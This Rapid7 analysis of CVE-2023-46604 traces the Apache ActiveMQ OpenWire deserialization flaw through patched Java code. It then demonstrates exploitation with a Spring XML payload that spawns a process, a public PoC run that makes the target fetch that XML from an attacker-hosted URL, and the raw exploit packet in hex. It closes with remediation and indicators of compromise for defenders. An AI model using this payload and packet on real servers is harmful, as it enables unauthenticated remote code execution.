Rapid7
Threat Research

Rapid7 Analysis: CVE-2023-46604

|Last updated on Jun 16, 2026|8 min read

Update Nov 2, 2023: Added reference to Rapid7 ETR blog in the timeline.

Overview

Apache ActiveMQ is a message broker service, designed to act as a communication bridge between disparate services. Developed in Java, it can broker multiple protocol formats, such as AMQP, STOMP, MQTT and OpenWire. CVE-2023-46604 is a remote unauthenticated deserialization vulnerability in the OpenWire transport connector provided by ActiveMQ. By default the OpenWire transport connector listens for TCP connections on port 61616 and is enabled by default. Successful exploitation allows an attacker to execute arbitrary code with the same privileges of the ActiveMQ server.

The timeline of events for CVE-2023-46604 are as follows.

  • October 24, 2023 - The Apache ActiveMQ team opens Jira issue AMQ-9370 to track the development of a patch for CVE-2023-46604.
  • October 24, 2023 - A patch is committed to resolve the issue.
  • October 25, 2023 - A detailed technical analysis is posted by researcher X1r0z.
  • October 27, 2023 - CVE-2023-46604 is published.
  • October 27, 2023 - A proof of concept exploit is published by researcher X1r0z.
  • October 27, 2023 - Rapid7 observed suspected exploitation of CVE-2023-46604 in the wild.

The Shadowserver project has identified 7,249 instances (as of October 30, 2023) of ActiveMQ OpenWire port 61616 listening on the internet, with 3,329 of these vulnerable to CVE-2023-46604.

The Vulnerability

Our analysis is based upon the research by X1r0z, and we targeted a vulnerable version of Active MQ 5.15.3 running on Windows.

By examining the patch we can see a new check OpenWireUtil.validateIsThrowable has been added. This check ensures when creating a new Throwable object instance, the class being instantiated is indeed derived from the Throwable class.

// activemq-client/src/main/java/org/apache/activemq/openwire/OpenWireUtil.java
package org.apache.activemq.openwire;

public class OpenWireUtil {

    /**
     * Verify that the provided class extends {@link Throwable} and throw an
     * {@link IllegalArgumentException} if it does not.
     *
     * @param clazz
     */
    public static void validateIsThrowable(Class<?> clazz) {
        if (!Throwable.class.isAssignableFrom(clazz)) { // <---
            throw new IllegalArgumentException("Class " + clazz + " is not assignable to Throwable");
        }
    }
}

We can see how the new check validateIsThrowable is used during BaseDataStreamMarshaller.createThrowable, to ensure a provided className string is for a class that is throwable, before an instance of this class is instantiated with a single string parameter called message.

// activemq-client/src/main/java/org/apache/activemq/openwire/v12/BaseDataStreamMarshaller.java
    private Throwable createThrowable(String className, String message) {
        try {
            Class clazz = Class.forName(className, false, BaseDataStreamMarshaller.class.getClassLoader());
            OpenWireUtil.validateIsThrowable(clazz); // <---
            Constructor constructor = clazz.getConstructor(new Class[] {String.class});
            return (Throwable)constructor.newInstance(new Object[] {message});
        } catch (IllegalArgumentException e) {
            return e;
        } catch (Throwable e) {
            return new Throwable(className + ": " + message);
        }
    }

To understand why, prior to the patch, a call to createThrowable leads to a vulnerability, we can see in BaseDataStreamMarshaller.looseUnmarsalThrowable how two string values are unmarshalled into the clazz and message parameters that are passed to createThrowable. If an attacker can control these two values, an arbitrary class can be instantiated with an attacker controlled string parameter.

// \lib\activemq-client-5.15.3.jar!\org\apache\activemq\openwire\v12\BaseDataStreamMarshaller.class
public abstract class BaseDataStreamMarshaller implements DataStreamMarshaller {

    protected Throwable looseUnmarsalThrowable(OpenWireFormat wireFormat, DataInput dataIn) throws IOException {
        if (!dataIn.readBoolean()) {
            return null;
        } else {
            String clazz = this.looseUnmarshalString(dataIn);
            String message = this.looseUnmarshalString(dataIn);
            Throwable o = this.createThrowable(clazz, message); // <---

The method BaseDataStreamMarshaller.looseUnmarsalThrowable is called from ExceptionResponseMarshaller.looseUnmarshal which is responsible for unmarshalling an ExceptionResponse instance.

// \lib\activemq-client-5.15.3.jar!\org\apache\activemq\openwire\v12\ExceptionResponseMarshaller.class

public class ExceptionResponseMarshaller extends ResponseMarshaller {

    public void looseUnmarshal(OpenWireFormat wireFormat, Object o, DataInput dataIn) throws IOException {
        super.looseUnmarshal(wireFormat, o, dataIn);
        ExceptionResponse info = (ExceptionResponse)o;
        info.setException(this.looseUnmarsalThrowable(wireFormat, dataIn)); // <---
    }

We can see that looseUnmarshal is called during OpenWireFormat.doUnmarshal. A byte value is read from the incoming data stream, and this byte value determines the DataStreamMarshaller to use during unmarshalling.

public final class OpenWireFormat implements WireFormat {

    public Object doUnmarshal(DataInput dis) throws IOException {
        byte dataType = dis.readByte();
        if (dataType != 0) {
            DataStreamMarshaller dsm = this.dataMarshallers[dataType & 255]; // <---
            if (dsm == null) {
                throw new IOException("Unknown data type: " + dataType);
            } else {
                Object data = dsm.createObject();
                if (this.tightEncodingEnabled) {
                    BooleanStream bs = new BooleanStream();
                    bs.unmarshal(dis);
                    dsm.tightUnmarshal(this, data, dis, bs);
                } else {
                    dsm.looseUnmarshal(this, data, dis); // <---
                }

                return data;
            }
        } else {
            return null;
        }
    }

We can note above there are two paths to unmarshalling, depending on tightEncodingEnabled. The encodings are referred to as either “tight” or “loose”. These are part of the OpenWire specification, and they dictate how encoding is performed. By default, “loose” encoding is used.

By inspecting the class ExceptionResponse we can see that a value of 31 corresponds to the data type for an ExceptionResponse which will be unmarshalled via ExceptionResponseMarshaller.

// \lib\activemq-client-5.15.3.jar!\org\apache\activemq\command\ExceptionResponse.class

package org.apache.activemq.command;

public class ExceptionResponse extends Response {
    public static final byte DATA_STRUCTURE_TYPE = 31; // <---
    Throwable exception;

    public ExceptionResponse() {
    }

    public ExceptionResponse(Throwable e) {
        this.setException(e);
    }

    public byte getDataStructureType() {
        return 31;
    }

    public Throwable getException() {
        return this.exception;
    }

    public void setException(Throwable exception) {
        this.exception = exception;
    }

    public boolean isException() {
        return true;
    }
}

Therefore, an attacker who can connect to the OpenWire port 61616 can send an OpenWire packet with a data type of 31 (EXCEPTION_RESPONSE), to unmarshall an ExceptionResponse object instance. The attacker can supply both an arbitrary class name and an arbitrary string parameter to the BaseDataStreamMarshaller.createThrowable method during unmarshalling. This allows an arbitrary class to be instantiated with a single attacker controlled string parameter, as shown in the screenshot below.

activemq_hax0.png

Exploitation

To leverage the vulnerability and achieve remote code execution, an attacker can instantiate the class
. ClassPathXmlApplicationContext is part of the Spring framework and is available within ActiveMQ. This class allows configuration of a Spring application via an XML file. The location of this XML configuration file is provided as a single string parameter when creating a new instance of ClassPathXmlApplicationContext.

// \lib\optional\spring-context-4.3.9.RELEASE.jar!\org\springframework\context\support\ClassPathXmlApplicationContext.class

public class ClassPathXmlApplicationContext extends AbstractXmlApplicationContext {

    public ClassPathXmlApplicationContext(String configLocation) throws BeansException { // <---
        this(new String[]{configLocation}, true, (ApplicationContext)null);
    }

The location of an XML configuration file can be a remote URL served over HTTP, and the contents allow for arbitrary classes to be created, and arbitrary methods to be called with arbitrary parameters. For example, the following configuration file, when loaded by ClassPathXmlApplicationContext, will spawn an arbitrary process via java.lang.ProcessBuilder.start.

<?xml version="1.0" encoding="UTF-8"?>
<beans xmlns="http://www.springframework.org/schema/beans" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd">
  <bean id="pb" class="java.lang.ProcessBuilder" init-method="start">
    <constructor-arg>
      <list>
        <value>notepad.exe</value>
      </list>
    </constructor-arg>
  </bean>
</beans>

By serving a malicious XML configuration file over HTTP, we can run the public exploit against a target as follows, and achieve unauthenticated RCE.

ActiveMQ-RCE-main>ruby -run -e httpd . -p 5555
[2023-11-01 11:38:49] INFO  WEBrick 1.7.0
[2023-11-01 11:38:49] INFO  ruby 3.1.3 (2022-11-24) [x64-mingw-ucrt]
[2023-11-01 11:38:49] INFO  WEBrick::HTTPServer#start: pid=2600 port=5555
[2023-11-01 11:38:49] INFO  To access this server, open this URL in a browser:
[2023-11-01 11:38:49] INFO      http://[::1]:5555
[2023-11-01 11:38:49] INFO      http://127.0.0.1:5555
192.168.86.50 - - [01/Nov/2023:11:40:23 GMT Standard Time] "GET /poc.xml HTTP/1.1" 200 458
- -> /poc.xml
192.168.86.50 - - [01/Nov/2023:11:40:23 GMT Standard Time] "GET /poc.xml HTTP/1.1" 200 458
- -> /poc.xml
ActiveMQ-RCE-main>ActiveMQ-RCE.exe -i 192.168.86.50 -u http://192.168.86.35:5555/poc.xml
     _        _   _           __  __  ___        ____   ____ _____
    / \   ___| |_(_)_   _____|  \/  |/ _ \      |  _ \ / ___| ____|
   / _ \ / __| __| \ \ / / _ \ |\/| | | | |_____| |_) | |   |  _|
  / ___ \ (__| |_| |\ V /  __/ |  | | |_| |_____|  _ <| |___| |___
 /_/   \_\___|\__|_| \_/ \___|_|  |_|\__\_\     |_| \_\\____|_____|

[*] Target: 192.168.86.50:61616
[*] XML URL: http://192.168.86.35:5555/poc.xml

[*] Sending packet: 000000741f000000000000000000010100426f72672e737072696e676672616d65776f726b2e636f6e746578742e737570706f72742e436c61737350617468586d6c4170706c69636174696f6e436f6e74657874010021687474703a2f2f3139322e3136382e38362e33353a353535352f706f632e786d6c

Finally, we can see the arbitrary command we specified in the configuration XML file has been executed on the target system.

hax1

Remediation

As per the vendor advisory, users of Apache ActiveMQ are advised to update to the latest version to successfully remediate this issue. The updated versions are:

  • 5.18.3
  • 5.17.6
  • 5.16.7
  • 5.15.16

IOCs

By default ActiveMQ does not log every request that is received, however some log information may be present in the log file <ACTIVEMQ_ROOT_FOLDER>\data\activemq.log. We observed that the public PoC left a single log entry in this file after successful exploitation:

2023-11-01 04:40:23,587 | WARN  | Transport Connection to: tcp://192.168.86.35:22658 failed: java.net.SocketException: An established connection was aborted by the software in your host machine | org.apache.activemq.broker.TransportConnection.Transport | ActiveMQ Transport: tcp:///192.168.86.35:22658@61616

Of note is the attacker’s IP address is logged (192.168.86.35 in the example above) along with the target TCP port which is listening for OpenWire connections (61616 in the example above, which is the default OpenWire port number in ActiveMQ).

References

LinkedInFacebookXBluesky